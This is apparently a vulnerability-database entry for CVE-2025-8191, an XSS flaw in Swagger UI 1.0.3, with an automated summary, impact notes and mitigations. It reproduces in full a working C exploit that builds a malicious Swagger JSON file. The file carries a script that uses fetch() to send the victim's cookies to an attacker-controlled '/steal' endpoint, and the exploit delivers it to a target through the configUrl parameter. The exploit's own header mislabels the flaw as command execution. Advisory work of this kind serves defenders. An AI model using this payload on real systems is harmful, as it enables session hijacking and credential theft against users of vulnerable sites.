Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
AI Analysis
Technical Summary
Swagger UI 1.0.3 suffers from a Cross-Site Scripting (XSS) vulnerability that allows remote attackers to inject and execute arbitrary JavaScript code within the context of the affected web application. XSS vulnerabilities typically arise when user-supplied input is not properly sanitized or encoded before being rendered in the browser. In this case, Swagger UI, a popular tool for generating interactive API documentation, fails to adequately sanitize certain inputs or parameters, enabling malicious payloads to be executed when a user accesses the compromised interface. The exploit code is publicly available and implemented in the C programming language, which suggests the existence of a standalone proof-of-concept or automated exploit tool that can be used to target vulnerable instances remotely. Although no active exploitation has been reported, the presence of exploit code increases the risk of future attacks. The vulnerability does not require authentication or user interaction beyond visiting a maliciously crafted URL or interface, making it a significant risk for exposed Swagger UI installations. The lack of patch links indicates that a fixed version might not yet be officially released, necessitating interim mitigations such as input validation and CSP enforcement. This vulnerability primarily threatens the confidentiality and integrity of users interacting with the Swagger UI, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of the user.
Potential Impact
For European organizations, the XSS vulnerability in Swagger UI 1.0.3 can lead to unauthorized access to sensitive API documentation and potentially to the theft of authentication tokens or session cookies. This can compromise the confidentiality of internal API endpoints and user data. Integrity may be affected if attackers inject malicious scripts that alter the behavior of the API documentation or perform actions on behalf of authenticated users. Availability impact is limited but could occur if attackers use the vulnerability to conduct phishing or social engineering attacks that disrupt normal operations. Organizations with public-facing Swagger UI instances are particularly at risk, as attackers can exploit the vulnerability remotely without authentication. This risk is heightened in sectors with stringent data protection regulations such as GDPR, where data breaches can result in significant fines and reputational damage. The presence of exploit code lowers the barrier for attackers, increasing the likelihood of targeted attacks against European companies relying on Swagger UI for API documentation and developer collaboration.
Mitigation Recommendations
1. Upgrade Swagger UI to the latest version where this XSS vulnerability is patched. If an official patch is not yet available, monitor vendor advisories closely. 2. Implement strict input validation and output encoding on all parameters and inputs rendered by Swagger UI to prevent injection of malicious scripts. 3. Deploy Content Security Policy (CSP) headers that restrict the execution of inline scripts and only allow trusted sources to reduce the impact of potential XSS payloads. 4. Restrict access to Swagger UI interfaces to trusted internal networks or authenticated users to reduce exposure. 5. Regularly audit and monitor web application logs for suspicious requests or attempts to exploit XSS vulnerabilities. 6. Educate developers and administrators about secure coding practices and the risks associated with exposing API documentation publicly. 7. Consider using web application firewalls (WAFs) with rules designed to detect and block XSS attack patterns targeting Swagger UI endpoints.
Affected Countries
Germany, France, United Kingdom, Netherlands, Sweden, Italy
Indicators of Compromise
- exploit-code: /* * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-8191 * Title : Swagger UI 1.0.3 - Cross-Site Scripting (XSS) * Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server. * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <curl/curl.h> int portSel = 0; int portServerSel = 0; int selectFile = 0; const char *targetUrl = NULL; const char *cookies = NULL; const char *server = NULL; const char *yourFile = NULL; const char *payloadFile = "xss.json"; int targetPort = 0; int yourPort = 0; int verbose = 0; int useCookies = 0; struct Mem { char *buffer; size_t len; }; void exitAssembly() { __asm__ volatile ( "mov $231, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitAssembly(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void createFile(const char *filename, const char *server) { FILE *f = fopen(filename, "w"); if (f == NULL) { printf("\e[1;31m[-] Error Create file (xss.json)!\e[0m\n"); exitAssembly(); } char payloadBuf[2048]; int lenFile = snprintf( payloadBuf, sizeof(payloadBuf), "{\n" " \"swagger\": \"2.0\",\n" " \"info\": {\n" " \"version\": \"1.0.0\",\n" " \"title\": \"XSS Injection Demo\",\n" " \"description\": \"<script>fetch('%s/steal?c='+encodeURIComponent(document.cookie))</script>\"\n" " },\n" " \"paths\": {}\n" "}", server ); if (lenFile <= 0 || lenFile >= sizeof(payloadBuf)) { printf("\e[1;31m[-] File payload too large!\e[0m\n"); fclose(f); exitAssembly(); } fwrite(payloadBuf, 1, lenFile, f); fclose(f); printf("\e[1;34m[+] File name: %s\e[0m\n", filename); printf("\e[1;34m[+] File created successfully.\e[0m\n"); printf("\e[1;35m============================= [PAYLOAD] =============================\e[0m\n"); printf("\e[1;34m[+] Payload content :\n%s\e[0m\n", payloadBuf); printf("\e[1;35m====================================================================\e[0m\n"); } void sendRequest(const char *baseUrl, int targetPort, const char *server, const char *payloadFile) { const char *filename = "xss.json"; createFile(filename, server); CURL *curl = curl_easy_init(); CURLcode res; char full[4000]; if (curl == NULL) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); exitAssembly(); } struct Mem server_Rsponse = { NULL, 0 }; server_Rsponse.buffer = NULL ; server_Rsponse.len = 0; if (curl) { if (portSel) { int len1 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, payloadFile); if (len1 < 0 || len1 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len1); exitAssembly(); } } if (portServerSel) { int len2 = snprintf(full, sizeof(full), "%s/swagger-ui/index.html?configUrl=%s:%d/%s", baseUrl, server, yourPort, payloadFile); if (len2 < 0 || len2 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len2); exitAssembly(); } } if (selectFile) { int len3 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, yourFile); if (len3 < 0 || len3 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len3); exitAssembly(); } } else { int len4 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, payloadFile); if (len4 < 0 || len4 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len4); exitAssembly(); } } curl_easy_setopt(curl, CURLOPT_URL, full); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &server_Rsponse); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); char ref[500]; snprintf(ref , sizeof(ref), "Referer: %s", server); headers = curl_slist_append(headers, ref); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { double timeD; double downloadTime; long httpCode = 0; long size; curl_off_t content_length; curl_off_t connectTime; curl_easy_getinfo(curl, CURLINFO_APPCONNECT_TIME, &connectTime); curl_easy_getinfo(curl, CURLINFO_SIZE_DOWNLOAD_T, &content_length); curl_easy_getinfo(curl, CURLINFO_HEADER_SIZE, &size); printf("\e[1;36m[+] Time: %" CURL_FORMAT_CURL_OFF_T ".%06ld\e[0m\n", connectTime / 1000000, (long)(connectTime % 1000000)); printf("\e[1;36m[+] Size: %.0f\n", connectTime); printf("\e[1;36m[+] Header size: %ld bytes\e[0m\n", size); printf("[+] Download size: %" CURL_FORMAT_CURL_OFF_T "\n", content_length); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeD); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;34m[+] Delay Time Response : %f\e[0m\n", timeD); printf("\e[1;37m[+] Input Url : %s\e[0m\n", baseUrl); if (portSel) { printf("\e[1;33m[+] Target Port Server : %d\e[0m\n", targetPort); } if (portServerSel) { printf("\e[1;33m[+] Your Port Server : %d\e[0m\n", yourPort); } printf("\e[1;33m[+] Your Server URL : %s\e[0m\n", server); printf("\e[1;37m[+] Full Url : %s\e[0m\n", full); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode); const char *foundKey[] = { "id=", "path", "host", "alert", "error", }; printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); int numberKey = sizeof(foundKey) /sizeof(foundKey[0]); int notFound = 0; for (int k = 0; k < numberKey; k++) { if (strstr(server_Rsponse.buffer, foundKey[k]) != NULL) { printf("\e[1;34m[+] Found Word In Response : %s\n", foundKey[k]); printf("\e[1;34m[+] The server suffers from the CVE-2025-8191 vulnerability.\e[0m\n"); printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); } else { if (verbose) { printf("\e[1;31m[-] Not Found Word : %s\n",foundKey[k]); } notFound = 1; } } if (notFound) { printf("\e[1;31m[-] No suspicious words were found in the server's reply.\e[0m\n"); } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode); if (verbose) { printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); } } } else { printf("\e[1;31m[-] Error Send Request\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); printf("\e[1;31m[-] Please Check Your Connection !\e[0m\n"); exitAssembly(); } } if (server_Rsponse.buffer) { free(server_Rsponse.buffer); server_Rsponse.buffer = NULL; server_Rsponse.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf( "\e[1;31m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▗ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▌▜ ▙▌▜ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▙▌▟▖▄▌▟▖ \n" ); printf("\e[1;37m [ Byte Reaper ]\n\e[0m"); printf("\e[1;37m [ Cross-Site Scripting ]\n\e[0m"); printf("\e[1;31m---------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &targetUrl, "Target Url (Base URL)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_STRING('s', "server", &server, "Your Server URL"), OPT_STRING('f', "file", &yourFile, "Name File (Json File Payload)"), OPT_INTEGER('p', "port", &targetPort, "Target Port Server"), OPT_INTEGER('b', "portS", &yourPort, "Enter Your Port Server"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!targetUrl && !server) { printf("\e[1;31m[-] Please Enter Your Url !\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u http://URL -s http://YOUR_SEVER \e[0m\n"); printf("\e[1;31m[-] Exit Syscall\e[0m\n"); exitAssembly(); } if (cookies) { useCookies = 1; } if (verbose) { verbose = 1; } if (targetPort) { portSel = 1; } if (yourPort) { portServerSel = 1; } if (yourFile) { selectFile = 1; } sendRequest(targetUrl, targetPort, server, selectFile ? yourFile : payloadFile); return 0; }
Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
Description
Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
AI-Powered Analysis
Technical Analysis
Swagger UI 1.0.3 suffers from a Cross-Site Scripting (XSS) vulnerability that allows remote attackers to inject and execute arbitrary JavaScript code within the context of the affected web application. XSS vulnerabilities typically arise when user-supplied input is not properly sanitized or encoded before being rendered in the browser. In this case, Swagger UI, a popular tool for generating interactive API documentation, fails to adequately sanitize certain inputs or parameters, enabling malicious payloads to be executed when a user accesses the compromised interface. The exploit code is publicly available and implemented in the C programming language, which suggests the existence of a standalone proof-of-concept or automated exploit tool that can be used to target vulnerable instances remotely. Although no active exploitation has been reported, the presence of exploit code increases the risk of future attacks. The vulnerability does not require authentication or user interaction beyond visiting a maliciously crafted URL or interface, making it a significant risk for exposed Swagger UI installations. The lack of patch links indicates that a fixed version might not yet be officially released, necessitating interim mitigations such as input validation and CSP enforcement. This vulnerability primarily threatens the confidentiality and integrity of users interacting with the Swagger UI, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of the user.
Potential Impact
For European organizations, the XSS vulnerability in Swagger UI 1.0.3 can lead to unauthorized access to sensitive API documentation and potentially to the theft of authentication tokens or session cookies. This can compromise the confidentiality of internal API endpoints and user data. Integrity may be affected if attackers inject malicious scripts that alter the behavior of the API documentation or perform actions on behalf of authenticated users. Availability impact is limited but could occur if attackers use the vulnerability to conduct phishing or social engineering attacks that disrupt normal operations. Organizations with public-facing Swagger UI instances are particularly at risk, as attackers can exploit the vulnerability remotely without authentication. This risk is heightened in sectors with stringent data protection regulations such as GDPR, where data breaches can result in significant fines and reputational damage. The presence of exploit code lowers the barrier for attackers, increasing the likelihood of targeted attacks against European companies relying on Swagger UI for API documentation and developer collaboration.
Mitigation Recommendations
1. Upgrade Swagger UI to the latest version where this XSS vulnerability is patched. If an official patch is not yet available, monitor vendor advisories closely. 2. Implement strict input validation and output encoding on all parameters and inputs rendered by Swagger UI to prevent injection of malicious scripts. 3. Deploy Content Security Policy (CSP) headers that restrict the execution of inline scripts and only allow trusted sources to reduce the impact of potential XSS payloads. 4. Restrict access to Swagger UI interfaces to trusted internal networks or authenticated users to reduce exposure. 5. Regularly audit and monitor web application logs for suspicious requests or attempts to exploit XSS vulnerabilities. 6. Educate developers and administrators about secure coding practices and the risks associated with exposing API documentation publicly. 7. Consider using web application firewalls (WAFs) with rules designed to detect and block XSS attack patterns targeting Swagger UI endpoints.
Affected Countries
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Technical Details
- Edb Id
- 52392
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
/* * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-8191 * Title : Swagger UI 1.0.3 - Cross-Site Scripting (XSS) * Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server. * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <curl/curl.h> int portSel = 0; int portServerSel = 0; int selectFile = 0; const... (14823 more characters)
Threat ID: 68900844ad5a09ad00dd9df7
Added to database: 8/4/2025, 1:09:24 AM
Last enriched: 10/27/2025, 1:40:35 AM
Last updated: 11/17/2025, 1:23:06 AM
Views: 72
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